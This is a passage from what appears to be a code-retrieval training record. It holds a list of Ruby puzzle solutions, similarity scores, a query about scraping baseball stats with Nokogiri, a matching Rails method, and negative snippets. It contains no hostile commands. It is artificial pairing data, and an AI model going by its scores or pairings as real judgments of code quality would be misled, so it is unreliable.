if((i+1 >= a.length) || ((i+1 < a.length) && (a[i] != a[i+1])))\n odd = a[i]\n break\n end\n end\n\n odd\nend", "def solution(a)\n a.sort!\n a.each_with_index do |element, index|\n return 0 if element != index + 1\n end\n 1\nend", "def solution(digits)\n result = 0\n digits.size.times do |n|\n new_number = digits[n...(n + 5)].to_i\n result = new_number if new_number > result\n end\n result\nend", "def solution(a)\n\traise ArgumentError.new(\"a has to be non empty array of max size #{MAX_LEN}\") if !a.is_a? Array or a.empty? or a.length > MAX_LEN\n\tret = 0\n\t#puts a.inspect\n\tmy_h = Hash.new\n\ta.each do |e|\n\t\tif my_h.include? e\n\t\t\tmy_h[e] += 1\n\t\telse\n\t\t\tmy_h[e] = 1\n\t\tend\n\tend\n\n\tmy_h_sort = my_h.sort_by {|k, v| -v}\n\t# -> my_h_sort[value][occurances]\n\treturn 0 if my_h_sort.first[1] < a.size/2\n\tleader_val = my_h_sort.first[0]\n\n\tocc_array = Array.new\n\toccurances = 0\n\ta.each do |e|\n\t\toccurances += 1 if e == leader_val\n\t\tocc_array.push(occurances)\n\tend\n\t#puts occ_array.inspect\n\n\tfor idx in (0...a.length-1) do\n\t\tsum1 = occ_array[idx]\n\t\tsum2 = occ_array.last - occ_array[idx]\n\n\t\t# puts \"#{idx}+1 < #{sum1*2}\"\n\t\t# puts \"#{(a.length - idx -1)} < #{(sum2*2 )} \"\n\n\t\tif (idx+1) < sum1 * 2 && (a.length - idx - 1 ) < sum2 * 2\n\t\t\t## we have a leader\n\t\t\t#puts \"YEAH #{idx}\"\n\t\t\tret += 1\n\t\tend\n\t\t\t#puts \"-------- ret: #{ret}\"\n\tend\n\treturn ret\nend", "def solution(a)\n # write your code in Ruby 2.2\n return 0 unless a[0]\n necklaces = create_necklaces(a)\n \n \n size = necklaces.length\n index = 0\n max = necklaces[index].length\n \n while index < size\n if necklaces[index].length > max\n max = necklaces[index].length\n end\n index += 1\n end\n \n return max\nend", "def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end", "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend", "def solve(s)\n answer = \"\"\n arr = s.split('')\n hash = Hash.new(0)\n arr.each_with_index do |el, idx|\n if el.to_i >= 1\n if arr[idx + 1] == \"(\"\n el.to_i.times do \n if arr[idx + 2].to_i >= 1\n if arr[idx + 3] == \"(\"\n arr[idx + 2].to_i.times do \n answer += (arr[(idx + 4)...arr.index(\")\")].join(''))\n end\n end\n end\n answer += (arr[(idx + 2)...arr.index(\")\")].join(''))\n end\n \n # hash[arr[idx + 1]] += 1\n end\n end\n \n end\n return answer\nend", "def main\n max = 10 ** 9 + 7\n all = 1\n zero = 1\n nine = 1\n zn = 1\n N.times.each do\n all = all * 10 % max\n zero = zero * 9 % max\n nine = nine * 9 % max\n zn = zn * 8 % max\n end\n return (all - zero - nine + zn) % max\nend", "def strong_num(n)\n array = n.to_s.chars.map(&:to_i)\n sumarray = []\n array.each do |number|\n sum = (1..number).inject(:*) || 1\n sumarray << sum\n end\n sumarray.sum == n ? \"STRONG!!!!\" : \"Not Strong !!\"\nend", "def is_armstrong(n)\n n_str=n.to_s()\n char_list=n_str.split(//)\n int_list=char_list.map {|x| (x.to_i())**(n_str.length()) }\n mysum = int_list.reduce(0) { |sum, num| sum + num }\n return (mysum==n)\nend", "def solution(n)\n siblings = n.to_s.chars.each_slice(1).to_a\n siblings.sort {|x,y| -(x <=> y)}.join.to_i\nend", "def solution(digits)\n\tstop = digits.length - 4\n\tgo = 0\n\tlargest_number = 0\n\tindex = 0\n\n\twhile go < stop\n\t\ttest = \"\"\n\t\textra_index = index\n\t\t5.times do \n\t\t\ttest += digits[extra_index].to_s\n\t\t\textra_index += 1 \n\t\tend\n\t\tif test.to_i > largest_number\n\t\t\tlargest_number = test.to_i\n\t\tend \n\t\tindex += 1\n\t\tgo += 1 \n\tend \n\tlargest_number\nend", "def formingMagicSquare(s)\r\n out = 100\r\n for i in 0...8 do\r\n cost = 0\r\n for j in 0...3 do\r\n for k in 0...3 do\r\n cost += ($magic_square[i][j][k] - s[j][k]).abs\r\n end\r\n end\r\n puts cost\r\n out = [out, cost].min\r\n end \r\n out\r\nend", "def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend", "def f_1_4tel_rek(n)\r\n if !n.integer? || n < 1\r\n return false\r\n end\r\n\r\n def end_rek(i, s)\r\n if i > 0\r\n end_rek(i - 1, (1.0 / (i * (i + 1.0) * (i + 2.0))) + s)\r\n else\r\n return s\r\n end\r\n end\r\n return end_rek(n, 0)\r\nend", "def featured(n)\n n += 1\n n += 1 until n % 7 == 0 && n.odd?\n loop do\n break if n.to_s.chars.uniq.join == n.to_s\n n += 14\n if n > 9876543210\n puts \"There is no possible number that fulfills those requirements\"\n return nil\n end\n end\n n\nend", "def solve\n 1.upto(100).inject(:*).to_s.split('').map{|x| x.to_i}.inject(:+)\nend", "def solution(number)\n sum = 0\n Array(1..number-1).each do |i|\n if i % 3 == 0 || i % 5 == 0\n sum += i\n end\n end\n sum\nend", "def decent_number(n)\n\tleft = 0\n\tright = 0\n\t(n+1).times do |i|\n\t\tleft = n - i \n\t\tright = n - left\n\t#\tputs \"#{left}%3 = #{left%3} | #{right}%5 = #{right%5}\"\n\t\tbreak if left % 3 == 0 && right % 5 == 0\n\tend\n\t#puts \"**l = #{left} r = #{right}\"\n\n\tif left % 3 == 0 && right % 5 == 0\n\t\tfives = \"5\"*left\n\t\tthrees = \"3\"*right\n\t\tputs fives+threes\n\telse\n\t\tputs -1\n\tend\nend", "def luhns(a)\n\tb = a.to_s[0..-2].reverse.split(\"\").to_a.map{|v|v.to_i}\n\t(b.each_index{|i|i.even? ? b[i]=b[i]*2>9?b[i]*2-9:b[i]*2:i=i}.inject(:+)+a)%10==0\nend", "def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend", "def solution\n 971 * (-61)\nend", "def recursive_solution\n\n end", "def solve(arr)\n answer = \"Every num has a match.\"\n arr.each do |num|\n if !arr.include?(num * -1)\n answer = num\n end\n end\n answer\nend", "def solution(a)\n candidate = a[0]\n count = 0\n index = 0\n a.each_with_index do |d, idx|\n count = candidate == d ? count += 1 : count -= 1\n if count == 0\n candidate = d\n count = 1\n index = idx\n end\n end\n a.count { |d| d == candidate } * 2 > a.length ? index : -1\nend", "def solution(n)\n sum = 0\n (1...n).each do |elem|\n sum += elem if elem % 3 == 0 or elem % 5 == 0\n end\n sum\nend", "def pzoe\n sum = 0\n (0..9).each do |a|\n (0..9).each do |b|\n (0..9).each do |c|\n (0..9).each do |e|\n (0..9).each do |f|\n (0..9).each do |g|\n sum += a * 100000 + b * 10000 + c * 1000 + e * 100 + f * 10 + g if a * 100000 + b * 10000 + c * 1000 + e * 100 + f * 10 + g == a ** 5 + b ** 5 + c ** 5 + e ** 5 + f ** 5 + g ** 5\n end\n end\n end\n end\n end\n end\n sum - 1\nend", "def permuted_nums()\r\n\t# *2...*6 must have the same digits (and length) as the original.\r\n\t# That's why the first character must be 1.\r\n\t# And the second character must be less that 7.\r\n\trunner = 123455\r\n\tmax = 170000\r\n\twhile runner < max\r\n\t\trunner += 1\r\n\t\t\r\n\t\tmult_count = 1\r\n\t\t(2..6).each{ |mult_num| \r\n\t\t\ttmp = runner * mult_num\r\n\t\t\t\r\n\t\t\tif !is_permutation_of(tmp, runner)\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\t\tif mult_num == 6\r\n\t\t\t\treturn runner\r\n\t\t\tend\r\n\t\t\tmult_count += 1\r\n\t\t}\r\n\tend\r\n\tputs ''\r\n\treturn false\r\nend", "def solve(n, s, d, m)\n # Complete this function\n records = s;\n\n (1...n).each do |i|\n records[i] += records[i-1]\n end\n\n numberOfWays = (m <= n && records[m - 1] == d) ? 1 : 0;\n\n (m...n).each do |i|\n if records[i] - records[i - m] == d\n numberOfWays += 1\n end\n end\n\n numberOfWays\n\nend", "def solve(s)\n s.split(/[aeiou]/).map{ |x| x.sum - x.size * 96 }.max\nend", "def solution1(seeds)\n turn_map = {}\n seeds.each_with_index { |n, turn| turn_map[n] = [1, turn + 1, turn + 1] }\n last_number = seeds.last\n\n ((seeds.length+1)..2020).each do |turn|\n last_stats = turn_map[last_number]\n if last_stats[TIMES_SPOKEN] == 1\n zero = turn_map[0] || [0, turn, turn]\n zero[TIMES_SPOKEN] += 1\n zero[FIRST_SPOKEN] = zero[LAST_SPOKEN]\n zero[LAST_SPOKEN] = turn\n \n turn_map[0] = zero\n last_number = 0\n else\n age = last_stats[LAST_SPOKEN] - last_stats[FIRST_SPOKEN]\n\n num = turn_map[age] || [0, turn, turn]\n num[TIMES_SPOKEN] += 1\n num[FIRST_SPOKEN] = num[LAST_SPOKEN]\n num[LAST_SPOKEN] = turn\n \n turn_map[age] = num\n last_number = age\n end\n end\n\n last_number\nend", "def solution(a)\n cars_going_east = [0]\n\n a.each do |direction|\n next_counter = direction.zero? ? cars_going_east.last + 1 : cars_going_east.last\n cars_going_east << next_counter\n end\n\n passings = 0\n a.each_with_index do |direction, index|\n passings += cars_going_east[index] if direction == 1\n end\n\n return -1 if passings > 1000000000\n passings\nend", "def num_decodings(s)\n\n decode = ('A'..'Z').to_a\n number_of_prev_ended_singly = 1\n\n ways_count = 1\n number_of_prev_ended_singly = 1\n\n s.chars[1..-1].each_with_index do |ch, idx|\n if s[idx - 1].to_i == 1 ||\n s[idx - 1] == 2.to_i && ch.to_i.between?(1,6)\n\n numbers_added_this_time = ways_count - number_of_prev_ended_singly\n ways_count += numbers_added_this_time\n number_of_prev_ended_singly = numbers_added_this_time\n else\n number_of_prev_ended_singly = 0\n end\n end\n\n ways_count\n\nend", "def funny string\n arr = string.chars\n count = 0\n arr.each_with_index do |x,xi|\n if xi > 0\n s1 = (x.ord - arr[xi-1].ord).abs\n s2 = (arr[-(xi+1)].ord - arr[-xi].ord).abs\n s1 == s2 ? count +=1 : break\n end\n end\n puts count == arr.size-1 ? 'Funny' : 'Not Funny'\nend", "def hard(input)\n to = input / 10\n houses = Array.new(to, 0)\n (1..to).each do |n|\n count = 0\n n.step(by: n, to: to - 1) do |i|\n houses[i] += 11 * n\n count += 1\n break if count == 50\n end\n end\n houses.index { |count| count >= input }\nend", "def n_squared(fish)\n long_boi = \"\"\n fish.each_with_index do |fish1, idx1|\n fish.each_with_index do |fish2, idx2|\n if idx2 > idx1\n long_boi = fish2 if fish2.length > fish1.length\n end\n end\n end\n long_boi\nend" ]
[ "0.6505725", "0.63606966", "0.6249834", "0.6213748", "0.6203788", "0.6199545", "0.6152524", "0.61518013", "0.6146651", "0.61459666", "0.61348665", "0.613256", "0.6127185", "0.6125308", "0.6105568", "0.61053413", "0.610206", "0.6083887", "0.6079074", "0.6075531", "0.6071808", "0.60682684", "0.6042385", "0.6020188", "0.60165757", "0.60085654", "0.5985463", "0.59793556", "0.597934", "0.59764653", "0.5968912", "0.5961324", "0.5955056", "0.5945294", "0.59389025", "0.5936862", "0.59175014", "0.59098685", "0.58937156", "0.58888566", "0.5887885", "0.5882891", "0.58814", "0.58746934", "0.58703417", "0.5866806", "0.58614004", "0.58501667", "0.5844187", "0.5840943", "0.5840942", "0.58360195", "0.5833236", "0.5832899", "0.58229303", "0.58190536", "0.58173776", "0.58131", "0.58098614", "0.5796818", "0.5796063", "0.5795778", "0.5791208", "0.57888186", "0.5780928", "0.5777316", "0.57771534", "0.57710534", "0.5766631", "0.57660824", "0.5765483", "0.57654625", "0.5761628", "0.5760763", "0.57593066", "0.5748782", "0.57471645", "0.57457817", "0.57380354", "0.57265884", "0.5724541", "0.57217854", "0.57184905", "0.57169586", "0.57088315", "0.5707601", "0.5700405", "0.5700266", "0.5700201", "0.56955206", "0.5691181", "0.5686376", "0.5685885", "0.5685023", "0.568002", "0.567891", "0.56781584", "0.567774", "0.5676532", "0.56745297", "0.567343" ]
0.0
-1
Returns true if the document has code callouts
def has_callouts? parser = REXML::Parsers::PullParser.new(File.new(@docbook_file)) while parser.has_next? el = parser.pull if el.start_element? and (el[0] == "calloutlist" or el[0] == "co") return true end end return false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def has_code?\n code != nil\n end", "def has_source_code_info?\n file_descriptor_proto.has_field?(:source_code_info)\n end", "def documented?\n return true if @received_nodoc\n return false if @comment_location.empty?\n @comment_location.any? { |comment, _| not comment.empty? }\n end", "def code_text?(paragraph)\n paragraph.text.gsub!(/#{CODE_END}/, '')\n end", "def is_citable document\n if document.respond_to?(:export_as_mla_citation_txt) || document.respond_to?(:export_as_apa_citation_txt)\n return true\n end\n end", "def fully_documented?\n @fully_documented\n end", "def homegrown_content?(document = @document)\n (document['source_ss'] || []).any? { |s| ['orbit','sorbit'].include? s }\n end", "def homegrown_content?(document = @document)\n (document['source_ss'] || []).any? { |s| ['orbit','sorbit'].include? s }\n end", "def show_code?\n @disasm_setting[:code]\n end", "def is_codeword_solved?\n\t\t!@codeword_hash.include?(\"_\") ? true : false\n end", "def in_a_document?\n state = false\n state = true if document_lines.count > 0\n return state\n end", "def fully_documented?\n documented? and\n attributes.all? { |a| a.documented? } and\n method_list.all? { |m| m.documented? } and\n constants.all? { |c| c.documented? }\n end", "def documented?\n super or\n (is_alias_for and is_alias_for.documented?) or\n (see and see.documented?)\n end", "def is_code?(line,labelhash)\n if @to_code && line !~ /^#include \"(page|align|pass).i65\".*/ # filter chaffy includes\n if @code.nil?\n # first line is special, the label\n @label = line\nputs @label if @label == \"STUDIO\"\n @addr = labelhash[@label]\n # start with a code quote and a slider button\n @code =\n \"\\n\\n\\n<$button popup=\\\"$:/state/codeSlider\\\">code</$button>\"\\\n \"<$reveal type=\\\"nomatch\\\" text=\\\"\\\" default=\\\"\\\" \"\\\n \"state=\\\"$:/state/codeSlider\\\" animate=\\\"yes\\\">\\n\\n```\"\n end\n # append code line, filter chaff\n @code += \"\\n\"+line\n end\n # turn on code trigger after checking, to avoid capturing the `#endif`\n if (line =~ /^\\#endif$/) # non-`#if 0` should have a comment after #endif in source\n @to_code = true\n end\n end", "def document_self_or_methods\n document_self || method_list.any?{ |m| m.document_self }\n end", "def documented?\n @received_nodoc or !@comment.empty?\n end", "def valid_code?\n area.valid_code? supplied_code\n end", "def generated_net_docfile?\n return false unless extname.downcase == \".xml\"\n return false unless lines.count > 3\n\n # .NET Docfiles always open with <doc> and their first tag is an\n # <assembly> tag\n return lines[1].include?(\"<doc>\") &&\n lines[2].include?(\"<assembly>\") &&\n lines[-2].include?(\"</doc>\")\n end", "def has_source_info?\n self.any_present?(:source_title, :publisher, :start_page)\n end", "def display?\n @document_self and not @ignored and\n (documented? or not @suppressed)\n end", "def has_doc?\n !docstring.all.empty?\n end", "def authorisation?\n event_code == AUTHORISATION\n end", "def documented?\n return true if super\n return false unless @is_alias_for\n case @is_alias_for\n when String then\n found = @store.find_class_or_module @is_alias_for\n return false unless found\n @is_alias_for = found\n end\n @is_alias_for.documented?\n end", "def conforms_to_inline_attachment\n return true if @uti.start_with?(\"com.apple.notes.inlinetextattachment\")\n return false\n end", "def pr_contains_code_changes\n files = danger_file.git.added_files + danger_file.git.modified_files\n\n !files.grep(/.swift/).empty?\n end", "def assembly_drawing?\n self.eco_types.detect { |et| et.name == \"Assembly Drawing\" } != nil\n end", "def has_calendar?\n \t\t!calendar.nil?\n \tend", "def signed_icla?\n !icla_signatures.empty?\n end", "def is_code_problem?\n return self.type == \"CodeProblem\"\n\tend", "def informational?\n 100 <= code && code < 200\n end", "def evocations?\n\n\t !evocations('n08112402').nil?\n\n\tend", "def annotated?\n @status == :reviewed or @status == :annotated\n end", "def contents_detected?\n true\n end", "def has_proc?(code)\n hcp_codes = hcp_proc_codes.split(',') rescue nil\n return unless hcp_codes.any?\n hcp_codes.index(code)\n end", "def valid_annotation?\n !(self.queued_for_deletion || self.study.queued_for_deletion || self.publishing)\n end", "def valid_code? code\n valid_codes.include? code\n end", "def code_block?\n @code_block\n end", "def loadable?\n Api::Area.code_exists?(area_code)\n end", "def is?(target)\n @code == target\n end", "def specification_identified?\n self.specification_attached? || !self.document_link.blank?\n end", "def has_mappings()\n return @mappings.has_data()\n end", "def ___source_marker?(spec)\n end", "def contains_document?\n result = false\n sample_attachments.map{|sa| result = true if sa.is_document?}\n result\n end", "def source_map?\n return false unless extname.downcase == '.map'\n\n name =~ /(\\.css|\\.js)\\.map$/i || # Name convention\n lines[0] =~ /^{\"version\":\\d+,/ || # Revision 2 and later begin with the version number\n lines[0] =~ /^\\/\\*\\* Begin line maps\\. \\*\\*\\/{/ # Revision 1 begins with a magic comment\n end", "def has_causal_events?\n CAUSAL_EVENT_NAMES.include? name\n end", "def document?\n self.type == \"Document\"\n end", "def is_regional?\n regional_code.present?\n end", "def delegable?\n\t\treturn self.method(:delegate).to_s !~ /\\(Arrow::Applet\\)/\n\tend", "def informational_response?\n (100..199).cover?(code)\n end", "def docbook_doc?\n node_type == DOCB_DOCUMENT_NODE\n end", "def advised?\n advisor_company_affiliations.with_access.present?\n end", "def cas_configured?\n return true unless @facility.details[:configurable_835]\n @segments_list[:CAS][:CAS00][0].eql?('code_value') ? true : false\n end", "def doc?\n (doc && !doc.empty?)\n end", "def doc?\n (doc && !doc.empty?)\n end", "def has_embedded_options?(code)\n code =~ EMBEDDED_OPTIONS_REGEX\n end", "def is_link?\n self.type == 'Document::VirtualCollege' && !is_pdf?\n end", "def has_default_area_code?\n area_code == Phonie.configuration.default_area_code\n end", "def has_docs_for_type?(type)\n self.vlp_documents.any?{ |doc| doc.verification_type == type && doc.identifier }\n end", "def has_searchable_text?(document)\n document['has_searchable_pages_bsi']\n end", "def documentation?\n @kind == :documentation\n end", "def ctan_loc?\n self.ctan != nil && ! self.ctan.empty?\n end", "def document?\n self.type == \"Assetabler::Document\"\n end", "def referral_code_existed?(code)\n User.find_by_referral_code(code) ? true : false\n end", "def visible?\n !code.blank? && !spam\n end", "def has_doc?\n File.exist?(doc_path)\n end", "def is_informational?\n code.to_i >= 100 && code.to_i <= 199\n end", "def sourcemap_required?; end", "def new_line?\n ary = insertion_point\n ary.empty? || ary.all? {|stmt| stmt.type == :code }\n end", "def display_ual_shield(document)\n return false unless document['location_tesim']\n\n Location::UAL_SHIELD_LIBRARIES.detect { |library| document['location_tesim'].include? library }.present?\n end", "def validate_code\n true\n end", "def needs_permission_badge?\n solr_document.visibility != Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC\n end", "def code_is?(other_code)\n same_as_response_code?(other_code)\n end", "def publicly_accessible?\n codelet.publicly_accessible?\n end", "def can_code?(n)\n n[:languages].include?(\"Ruby\") || n[:languages].include?(\"Python\")#OR HE EXPLAINED IT AS : n[:languages].include?(\"Python\")\n #I want to make sure that it incliudes Ruby or python (or both/more)\nend", "def custom?\n @custom\n end", "def checkForCodeR(tempDoc)\n\t\treturn tempDoc.xpath(\"//a[contains(@href, 'codereview.chromium') or contains(@href, 'chromiumcodereview.appspot')]\")\n\tend", "def soap_fault?\n begin\n ns_prefix.each do |prefix|\n if @document.find(\"/#{prefix}:Envelope\").first\n return true\n end\n end\n return false\n rescue Exception => ex\n Rails.logger.error(ex)\n return false\n end\n end", "def has_interesting_events?\n has_structure_updates? || has_event_propagation_updates?\n end", "def has_interesting_events?\n has_structure_updates? || has_event_propagation_updates?\n end", "def normal?\n @code == 1000\n end", "def valid?\n VALID_CODES.include? @code\n end", "def tag_in_dictionary?\n !@definition.nil?\n end", "def code_promotion_successful?\n promotion_results.code_based.successful?\n end", "def avs_code_matches?\n return ['Y', 'X', 'P'].include? avs_code\n end", "def specification_attached?\n self.eco_documents.detect { |d| d.specification? } != nil\n end", "def avs_code_matches?\n return ['Y', 'X', 'P'].include? avs_code\n end", "def is_highlight?\n contexts.flag6 == 1\n end", "def hookup_code\n #break out of this function if we already have a code set\n return true if self.code\n\n #if there is not already a code set then go ahead and set it\n this_code = Code.where(:name => self.name, :coding_type => self.coding_type).first\n if this_code\n self.code = this_code\n else\n return false\n end\n end", "def is_document_style?\n true\n end", "def event_eligible?(events, uri)\n event = events.find { |evt|\n event = evt['_resolved'];\n ext_doc = event['external_documents'][0];\n event['event_type'] == 'ingestion' and ext_doc and ext_doc['location'] == uri\n }\n debug \"Islandora event eligible: #{event}\" if event\n event\n end", "def gcmap_include_highlighted_airport_names?\n return false\n end", "def undocumented_commands?\n !undocumented_commands.empty?\n end", "def marked?\n @location != nil\n end", "def base_doc?\n !@casted_by\n end", "def full?\n !!(outcode && incode)\n end", "def has_rdoc # :nodoc:\n true\n end", "def base_doc?\n !@casted_by\n end", "def has_sidebar_content?\n publications.any? || external_resources.any? || authors.corresponding.any?\n end", "def program_announcement_view?\n return false if User.current_user.is? :any, :in_group => [:geography], :center_id => self.center_id\n return false if User.current_user.is? :any, :in_group => [:pcc], :center_id => self.center_id\n return true if User.current_user.is? :program_announcement, :center_id => self.center_id and ANNOUNCED_STATES.include?(self.state)\n end", "def tomdoc?\n @format == 'tomdoc'\n end" ]
[ "0.6282136", "0.58863693", "0.58442706", "0.5786657", "0.57627934", "0.5745519", "0.5724832", "0.5724832", "0.56664175", "0.566509", "0.5627609", "0.5601201", "0.55927086", "0.55607563", "0.5542513", "0.5497151", "0.5466728", "0.54513615", "0.54509765", "0.5432641", "0.5354719", "0.53491753", "0.534136", "0.53372264", "0.53060573", "0.5283509", "0.526938", "0.52600837", "0.52365947", "0.523221", "0.52319455", "0.5205662", "0.51966137", "0.5180522", "0.51763904", "0.5169163", "0.51594174", "0.51510864", "0.51495504", "0.5137978", "0.5131721", "0.5130949", "0.51265436", "0.51236004", "0.51039255", "0.5093477", "0.50899595", "0.508118", "0.50671434", "0.5065171", "0.5053106", "0.50479525", "0.5045293", "0.5045293", "0.5039976", "0.50359046", "0.50252676", "0.5023287", "0.5009989", "0.5009551", "0.5005114", "0.4999244", "0.49941382", "0.4986818", "0.4984769", "0.49790663", "0.49606496", "0.4950017", "0.49474484", "0.49254686", "0.49138424", "0.49136987", "0.49095923", "0.4906286", "0.49051726", "0.49044555", "0.49040818", "0.4899598", "0.4899598", "0.48824129", "0.48697564", "0.4866965", "0.48645836", "0.4860546", "0.48538485", "0.4852351", "0.4851553", "0.4849151", "0.48388228", "0.48350626", "0.4831597", "0.48307785", "0.48295462", "0.48209387", "0.4817967", "0.48138258", "0.4811153", "0.48103163", "0.48076218", "0.4796448" ]
0.7357287
0
takes player name and url params constructs url and uses Nokogiri to open connection with required parameters returns array of form [Games, AB, Runs, Hits, 2B, 3B, HR, RBI, BB, HBP, CS, SH, SF, GDP, BA, OBA, Slug%, OPS]
def scrape player = params[:player] url = params[:url] endDate = params[:EndDate] filler = '&GameType=all&PlayedFor=0&PlayedVs=0&Park=0&PlayerID=' id = Player.find_by_name(player).number.to_s fullUrl = url + '&EndDate=' + endDate + filler + id page = Nokogiri::HTML(open(fullUrl)) totalsArray = getTotals(page) render :text => totalsArray.to_json() end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_top_ps3_games(url)\n games = []\n page = fetch_html(url)\n return games if page.nil? # return early if there's problem parsing\n\n page.css('div.main_stats').each do |prod|\n title = prod.css('h3.product_title a').text\n score = prod.css('span.metascore_w').text\n games << {title: title.strip, score: score}\n end\n return games\n end", "def fetch_games\n games, doc = [], get_xml(bungie_net_recent_games_url)\n (doc/:item).each_with_index do |item, i|\n games[i] = {\n :title => (item/:title).inner_html,\n :date => (item/:pubDate).inner_html.to_time,\n :link => (item/'link').inner_html,\n :description => (item/:description).inner_html,\n :gameid => pull_gameid((item/'link').inner_html)\n }\n end\n return games\n end", "def scrape_page_head(url)\n i=0\n html = open(url)\n # binding.pry\n playerindex = Nokogiri::HTML(html)\n\n # initialize array of player info hashes\n playhasharr = []\n\n # sxcrape to get all the player information headline-blocks (player name, position, school/club)\n pheadarr=playerindex.css (\"div.component.headline-block\")\n\n # put the name, position, school/club, year elements into a hash, then put the hash into an array\n pheadarr.each do |phrow|\n playhashrow={}\n # create playhashrow -- a hash for name, position, school/club, year\n\n # Get the name from div.head (div tag, class=head). The split(\",\").first is to remove a comma\n # in the last name on the list\n playhashrow[:name]=(phrow.css(\"div.text-block div.head\").text).split(\",\").first\n\n # schoolclub variable here actually is \"position|schoolclub, year\"\n schoolclub=phrow.css(\"div.text-block div.subhead\").text\n # get the player's position here in the first part of schoolclub (originally named split1)\n playhashrow[:position]=schoolclub.split(\",\").first\n # split1=prevexp.split(\",\").last.split(\"|\").first\n\n # Get the school / club name from the headline block\n playhashrow[:schoolclub]=schoolclub.split(\",\").last.split(\"|\").first.strip\n # Get the class year\n class_year = schoolclub.split(\",\").last.split(\"|\").last.strip\n # The way that the schoolclub variabkle\n if class_year !=playhashrow[:schoolclub]\n playhashrow[:class_year]=class_year\n\n end\n # put the current rank into the player hash (to avoid having to search later)\n playhashrow[:rank]=i+1\n # binding.pry\n playhasharr << playhashrow\n # puts (\"number #{i+1}\")\n i+=1\n end\n\n playhasharr\n end", "def find_games_on_this_page(url, games = {})\n page = agent.get(url)\n puts url\n\n page.search(GAMES_SELECTOR).each do |a|\n game_name = a.text.strip\n path = a.attribute('href').value.strip\n\n next if game_name.blank? || path.blank?\n\n games[game_name] = {\n 'url' => URI.join(WEBSITE_URL, path).to_s\n }\n end\n\n url = link_to_next_page(page)\n Helpers.wait\n return games if url.blank?\n\n find_games_on_this_page(url, games)\n end", "def get_all_players\n ret_val = {}\n pr_file = File.expand_path('../../tmp/wiki_pr.json', __FILE__)\n if File.exists?(pr_file)\n ret_val = JSON.parse(File.read(pr_file))\n else\n grab_ranking_links.each do |link|\n ret_val.merge!(get_players_from_link(link))\n end\n File.open(pr_file, \"w\") do |f|\n f.write(ret_val.to_json)\n end\n end\n ret_val\n end", "def get_url(url, params)\n response = @conn.get(url, params)\n JSON.parse(response.body, symbolize_names: true)[:body][:players]\n end", "def populate_player (page)\n\n player = Player.new\n\n # find the table with game-by-game stats\n table = page.css('section.stats--table-container')[2]\n\n if !table.nil?\n table = table.css('tbody tr')\n end\n\n # for each row in table create Game and populate it with the stats of that game\n table.each do |xml|\n\n player.games.push(populate_game(xml)) if xml.children.length > 5\n\n end\n\n # Store the link to the player's stats page\n\n player.link = page.uri\n\n player\n\nend", "def fetch_averages(player_id)\n url = \"http://sports.yahoo.com/nba/players/#{player_id}\"\n#game_html = Web.clean(File.open('file.html', 'r').read())\n puts \"Getting URL #{url}\"\n game_html = Web.fetch_clean(url)\n\n career_totals = game_html.scan(/table summary=\"Player Season Totals.*?<\\/table>/)\n return [] if career_totals.size() == 0\n career = career_totals.first.scan(/<tbody>.*?<\\/tbody>/).first\n rows = career.scan(/<tr>.*?<\\/tr>/)\n\n seasons = (rows.collect do |row|\n tds = row.scan(/<th.*?<\\/th>/) + row.scan(/<td.*?<\\/td>/)\n min = tds[3].remove_tags.split(':')\n\n games = tds[2].remove_tags.to_f\n\n # 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18\n # Year Team G Min FGM FGA 3P 3PA FT FTA OR DR Reb Ast TO Stl Blk PF Pts\n # don't want overall career averages\n tds.first.remove_tags == \"Totals\" ? [] :\n {\n 'player_id' => player_id,\n 'season' => tds[0].remove_tags,\n 'team' => tds[1].remove_tags.downcase,\n 'games' => games,\n 'min' => tds[3].remove_tags.to_f,\n 'fgm' => tds[4].remove_tags.to_f,\n 'fga' => tds[5].remove_tags.to_f,\n 'tpm' => tds[6].remove_tags.to_f,\n 'tpa' => tds[7].remove_tags.to_f,\n 'ftm' => tds[8].remove_tags.to_f,\n 'fta' => tds[9].remove_tags.to_f,\n 'off' => tds[10].remove_tags.to_f,\n 'def' => tds[11].remove_tags.to_f,\n 'reb' => tds[12].remove_tags.to_f,\n 'ast' => tds[13].remove_tags.to_f,\n 'turnovers' => tds[14].remove_tags.to_f,\n 'stl' => tds[15].remove_tags.to_f,\n 'blk' => tds[16].remove_tags.to_f,\n 'pf' => tds[17].remove_tags.to_f,\n 'pts' => tds[18].remove_tags.to_f,\n }\n end).flatten\n combine_seasons(seasons)\nend", "def get_team_games(team)\n # Set Up\n doc = getHTML(\"http://espn.go.com/mens-college-basketball/team/schedule/_/id/#{team.webExt}\")\n\n table = doc.xpath('//table[@class = \"tablehead\"]')\n rows = table.css('tr')\n\n # Loop through each row\n rows.each do |row|\n if(row.css('li').count > 3)\n linkHref = row.css('li[@class =\"score\"]')[0].css('a[href]')[0]\n if(linkHref != nil)\n link = 